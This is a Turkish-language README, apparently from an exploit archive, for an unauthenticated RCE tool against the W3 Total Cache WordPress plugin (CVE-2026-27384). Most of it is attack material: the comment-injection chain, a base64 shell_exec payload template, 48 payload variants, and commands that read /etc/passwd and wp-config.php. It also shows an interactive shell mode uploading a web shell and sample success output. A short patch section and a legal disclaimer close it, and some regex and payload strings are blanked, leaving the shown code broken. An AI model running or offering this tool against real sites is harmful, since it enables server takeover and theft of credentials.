Share
## https://sploitus.com/exploit?id=DC293067-63CE-5FC7-85EA-9914991344BC
# CVE-2026-27384
# CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE Scanner

> **Plugin:** W3 Total Cache
> **Plugin Slug:** `w3-total-cache`
> **CVE ID:** CVE-2026-27384
> **CVSS Score:** 9.8 (Critical)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Zafiyet Türü:** Unauthenticated Arbitrary Code Execution (Code Injection via `eval()`)
> **Etkilenen Sürümler:**  **Yamalı Sürüm:** 2.9.2
> **Yayın Tarihi:** 24 Şubat 2026
> **Araştırmacı:** CODE WHITE GmbH

---

## 📌 Zafiyet Özeti

W3 Total Cache eklentisinin **Dynamic Fragment Caching** özelliği (`mfunc/mclude` sistemi),
HTML yorumları içine gömülü PHP kodunu `eval()` ile çalıştırır.
Bu özelliği koruması gereken `W3TC_DYNAMIC_SECURITY` token'ı, birden fazla kod hatasının
bir araya gelmesiyle bypass edilebilir.

**Sonuç:** Kimlik doğrulama gerektirmeden, yalnızca bir WordPress yorumu göndererek
sunucuda keyfi PHP kodu çalıştırılabilir.

---

## 🔍 Zafiyet Özet Tablosu

| Alan | Değer |
|---|---|
| **CVE ID** | CVE-2026-27384 |
| **CVSS** | 9.8 Critical |
| **Tür** | Code Injection → RCE (CWE-94) |
| **Etkilenen Sürüm** | 

```

W3TC bu etiketleri cache'den sayfa sunarken işler:
gömülü PHP `eval()` ile çalıştırılır, çıktısı yorum bloğunun yerine yazılır.

---

### Bug 1 — `preg_quote()` Eksikliği (`PgCache_ContentGrabber.php`)

```php
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}
```

Token `'.'` ise regex `` olur →
**herhangi bir tek karakter** token yerine geçer.

---

### Bug 2 — `\s*` vs `\s+` Uyumsuzluğu

| Fonksiyon | Pattern | Davranış |
|---|---|---|
| `_parse_dynamic()` — **çalıştırır** | `mfunc\s*TOKEN` | 0 boşluk kabul ✅ |
| `strip_dynamic_fragment_tags_from_string()` — **temizler** | `mfunc\s+TOKEN` | En az 1 boşluk zorunlu ❌ |

```
Saldırgan payload:  
                             ↑
                      mfunc ile token arasında BOŞLUK YOK

strip fonksiyonu:   \s+ → eşleşmez → payload KALIR
execution regex:    \s* → eşleşir  → eval() ÇALIŞIR
```

---

### Bug 3 — Eksik Token Doğrulaması (`_has_dynamic()`)

```php
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~~Uis',
        $buffer
    );
}
```

---

### Tam Saldırı Zinciri

```
W3TC_DYNAMIC_SECURITY = '.'   (regex metacharacter — herhangi bir karakter)
        │
        ▼
Saldırgan yorum gönderir:

        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  \s+ gerektirir, boşluk yok → ATLATILDI ✅
        │
        ▼
Yorum veritabanına kaydedilir, sayfa cache'lenir
        │
        ▼
İkinci HTTP isteği → W3TC cache'den sunar
  _has_dynamic() → mfunc\s*.  → 'A' eşleşir → true döner
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' eşleşir
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
```

---

## 🔴 Saldırı Etkisi

Kimlik doğrulaması olmadan sunucuda web sunucusu yetkisiyle keyfi PHP kodu çalıştırılabilir:

- ✅ Tam sunucu ele geçirme
- ✅ WordPress dosyaları ve veritabanı okuma/yazma/silme
- ✅ Web shell / backdoor kurma
- ✅ İç ağa pivot
- ✅ Kimlik bilgileri, API anahtarları, kullanıcı verisi sızdırma

---

## 🚀 Kurulum

```bash
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
```

**requirements.txt**
```
requests
beautifulsoup4
```

---

## 📖 Kullanım

### Modlar

| Mod | Açıklama |
|---|---|
| `auto` | Siteyi tara → yorum sayfası bul → exploit et (varsayılan) |
| `exploit` | Direkt exploit — post URL ile |
| `shell` | İnteraktif shell |
| `detect` | Sadece W3TC tespiti |

---

### Auto Mod — Her Şey Otomatik

```bash
python w3tc_rce.py https://hedef.com
```

Tarayıcı şunları yapar:
1. W3TC kurulu mu kontrol eder
2. Sitemap + link takibi ile yorum formu olan sayfaları bulur
3. Her sayfaya 48 payload varyantı dener
4. Başarılı olursa shell açmayı teklif eder

---

### Exploit Modu — Direkt

```bash
# id komutu
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# wp-config.php oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post ID manuel
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami
```

---

### Shell Modu — İnteraktif

```bash
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1
```

Shell açıldığında otomatik olarak `whoami`, `hostname`, `pwd`, `uname -a` çalıştırılır:

```
=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Komutlar: exit | upload   | download 
=================================================================

┌──(w3tc@hedef.com)
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──(w3tc@hedef.com)
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──(w3tc@hedef.com)
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)
```

---

### Detect Modu — Sadece Tespit

```bash
python w3tc_rce.py https://hedef.com --mode detect
```

```
[+] W3TC kurulu!
    Sürüm  : 2.9.1
    Cache  : True
[!] Sürüm 2.9.1 ZAFİYETLİ (
               ↑
          boşluk var → \s+ eşleşir → strip siler

Bypass tag (strip'i atlatır, eval() çalışır):
  
              ↑
        boşluk YOK → \s+ eşleşmez → strip ATLAR
                      \s* eşleşir → eval() ÇALIŞIR
```

### Base64 Encoding

PHP kodu HTML encoding sorunlarını önlemek için base64 encode edilir:

```python
# Komut: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f""
```

### 48 Payload Varyantı

| Grup | Fonksiyon | Bypass Char | Encoding |
|---|---|---|---|
| b64_shell_exec | `shell_exec` | A, B, X, 1 | Base64 |
| b64_system | `system` | A, B, X, 1 | Base64 |
| b64_passthru | `passthru` | A, B, X, 1 | Base64 |
| b64_exec | `exec` | A, B, X, 1 | Base64 |
| b64_popen | `popen` | A, B, X, 1 | Base64 |
| raw_* | Tüm fonksiyonlar | A, B, X, 1 | Ham |

---

## 🔄 Exploit Akışı

```
1. W3TC Tespiti
   └─ readme.txt, header, body, plugin dizini

2. Yorum Sistemi Tespiti
   └─ HTML form, REST API, post ID

3. Payload Enjeksiyonu (48 varyant)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. Cache Tetikleme
   ├─ 1. istek → cache miss → sayfa render → cache'lenir
   └─ 2. istek → cache hit → _parse_dynamic() → eval()

5. Çıktı Çıkarma
   └─ uid=, whoami, /path/, passwd, wp-config...
```

---

## 🖥️ Örnek Çıktılar

### Auto Mod

```
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] Hedef: https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Yorum sayfası: https://hedef.com/?p=1 (post_id=1)

  [1] W3TC tespiti...
[+] W3TC bulundu! Sürüm: 2.9.1
  [2] Yorum sistemi tespiti...
[+] Post ID: 1 | Form: True | REST: True
  [3] Payload enjeksiyonu (id)...
[i] 48 payload varyantı hazır
  [4] Cache tetikleniyor...

[★] RCE BAŞARILI!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Komut   : id
  Çıktı   : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Sonuçlar kaydedildi → w3tc_results.txt
[?] Shell aç? (y/n):
```

### Toplu Tarama Özeti

```
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 zafiyet bulundu!
[+] Sonuçlar kaydedildi → w3tc_results.txt
```

---

## 📁 Dosya Yapısı

```
cve-2026-27384/
├── w3tc_rce.py        # Ana scanner
├── requirements.txt   # Bağımlılıklar
└── README.md          # Bu dosya
```

---

## 🛡️ Savunma / Yama

| Önlem | Açıklama |
|---|---|
| **Eklenti Güncellemesi** | W3 Total Cache 2.9.2+ sürümüne yükselt |
| **mfunc Devre Dışı** | `W3TC_DYNAMIC_SECURITY` tanımlanmamışsa özellik çalışmaz |
| **Güçlü Token** | Token yalnızca alfanümerik karakterler içermeli (`[a-zA-Z0-9_]+`) |

**Güvenli token örneği (`wp-config.php`):**
```php
// ❌ Tehlikeli — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Güvenli — alfanümerik
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
```

**2.9.2 yaması (`_parse_dynamic()`):**
```php
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote eklendi
$buffer = preg_replace_callback(
    '~~Uis',    // ✅ \s+ (en az 1 boşluk)
    ...
);
```

---

## ⚠️ Yasal Uyarı

> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eğitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak üzere hazırlanmıştır.
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki
> sorumluluk kabul etmez.

---

## 📄 Lisans

MIT License — Yalnızca eğitim ve araştırma amaçlıdır.

---

## 🔗 Referanslar

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [W3 Total Cache Plugin](https://wordpress.org/plugins/w3-total-cache/)
- [CODE WHITE GmbH](https://code-white.com)
- [CWE-94: Improper Control of Code Generation](https://cwe.mitre.org/data/definitions/94.html)
- [OWASP Code Injection](https://owasp.org/www-community/attacks/Code_Injection)
- [PHP eval() Security](https://www.php.net/manual/en/function.eval.php)
- [PHP preg_quote()](https://www.php.net/manual/en/function.preg-quote.php)